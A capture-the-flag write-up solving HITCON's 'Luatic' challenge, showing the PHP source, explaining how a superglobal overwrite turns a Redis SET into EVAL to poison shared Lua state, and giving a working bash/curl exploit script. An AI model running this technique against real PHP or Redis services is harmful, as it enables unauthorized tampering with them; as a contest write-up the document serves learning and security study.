Win the jackpot!
🍊
(misc php redis lua pwn thing)
After visiting the service with a browser, we are greeted by very simple form with an input box and a few buttons. Clicking [Luatic] yields the source for the task:
<?php
/* Author: Orange Tsai(@orange_8361) */
include "config.php";
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
if (strlen($token) == 0) highlight_file(__FILE__) and exit();
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');
$guess = (int)$guess;
if ($guess == 0) die('Shame on you');
// Check team token
$status = check_team_redis_status($token);
if ($status == "Invalid token") die('Invalid token');
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');
// Get team redis port
$port = get_team_redis_port($token);
if ((int)$port < 1024) die('Try again');
// Connect, we rename insecure commands
// rename-command CONFIG ""
// rename-command SCRIPT ""
// rename-command MODULE ""
// rename-command SLAVEOF ""
// rename-command REPLICAOF ""
// rename-command SET $MY_SET_COMMAND
$redis = new Redis();
$redis->connect("127.0.0.1", $port);
if (!$redis->auth($token)) die('Auth fail');
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
// Lottery!
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
sleep(3); // Slow down...
if ((int)$result === $guess)
die("Congratulations, the flag is $FLAG");
die(":(");
The code above does the following:
- If any Key in GET or POST starts with FLAG, MY_, TEST_ or GLOBALS, die
- Then basically put every GET or POST variable into the global namespace (a'la
register_globals
), but with a sanitization on the values, most importantly the value cannot contain[]
-s or.
. - Then see if the
$token
variable exists, and is a$token
for our team. - Connect to Redis. Every team has their own Redis instance
- Run a SET command via the rawCommand API of the Redis object
- Run a GET command on the same KEY/VAL, and check if it exists
- EVAL a simple LUA script that outputs a random integer, and check it vs the
$guess
variable. - If guess is OK, print flag
It's pretty apparent that we have to somehow overwrite the contents of $MY_SET_COMMAND
, $TEST_KEY
and $TEST_VALUE
. How to avoid detection?
Turns out, in PHP, $_GET
and $_POST
are simple variables (superglobal, but not as special as $_GLOBALS
), and something like $_GET[a] = 5
is perfectly valid. Also, since $_GET
and $_POST
are processed separately, we can modify the contents of $_POST
after the key checking, but before it being used.
I.e., ig $_GET
is _POST[MY_SET_COMMAND]=PWND
, first the MY_SET_COMMAND
element of $_POST
will be set, but then the MY_SET_COMMAND
will be set to PWND
.
We will use this to set arbitrary variables to not so arbitrary values.
The rawSet command looks like it's specifically crafted so that we can call a 2 parameter Redis command. The command of our choice will be EVAL
, the first parameter of which is a LUA script, the second parameter is the amount of keys the LUA script will touch (this will be 0 for us).
One more thing to do is call the script without overwriting MY_SET_COMMAND
, so the "key" (the script) and "value" (0) will be in the database for the get
check.
It's also pretty obvious that we should modify the behaviour of the random EVAL call, so that it returns something deterministic. Redis supposedly does not let LUA scripts communicate between eval calls, with global variables protection. It basically does not let scripts create global variables. The documentation also states that it's not hard to circumvent this limitation.
This is important, because LUA state persists between EVAL calls.
One of the things the global checker does not check is the state of the math
table (remember, everything in LUA is a table, and somewhat liek javascript, table elements are accessible with both []
and .
). So if we do math.random = function(x) return 1 end
, we can force the random to be always 1.
Turns our, we can not use .
, []
, or even "
or '
. So no array access, or strings for us.
Luckily, we have two primitives:
- The rawset() function (simple brackets still allowed), which is basically a fancy
=
operator - The foreach construct, so that we don't need the
"random"
string for therawset
call. We will simply set all math functions to return 1.
Final LUA code:
for key, value in pairs(math) do
rawset(math, key, function(x) return 1 end)
end
I was in a bash
mood that day, so we get this monstrosity, complete with url encoding in bash, copied from stackoverflow:
#!/bin/bash
# SET URL and TOKEN as ENV VARS before running!
#URL=127.0.0.1:8888
#TOKEN=adsadsasd
URL_PREFIX="http://$URL/luatic.php?_POST[token]=$TOKEN&_POST[guess]=1"
rawurlencode() {
local string="${1}"
local strlen=${#string}
local encoded=""
local pos c o
for (( pos=0 ; pos<strlen ; pos++ )); do
c=${string:$pos:1}
case "$c" in
[-_.~a-zA-Z0-9] ) o="${c}" ;;
* ) printf -v o '%%%02x' "'$c"
esac
encoded+="${o}"
done
SCRIPT="${encoded}" #+or echo the result (EASIER)... or both... :p
}
rawurlencode "
for key, value in pairs(math) do
rawset(math, key, function(x) return 1 end)
end
"
echo $SCRIPT
echo "Set for the script"
curl -g \
"${URL_PREFIX}&_POST[TEST_KEY]=$SCRIPT&_POST[TEST_VALUE]=0" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'NO'
echo
echo "Running the script"
curl -g \
"${URL_PREFIX}&_POST[MY_SET_COMMAND]=EVAL&_POST[TEST_KEY]=$SCRIPT&_POST[TEST_VALUE]=0" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'NO'
echo
hitcon{Lua^H Red1s 1s m4g1c!!!}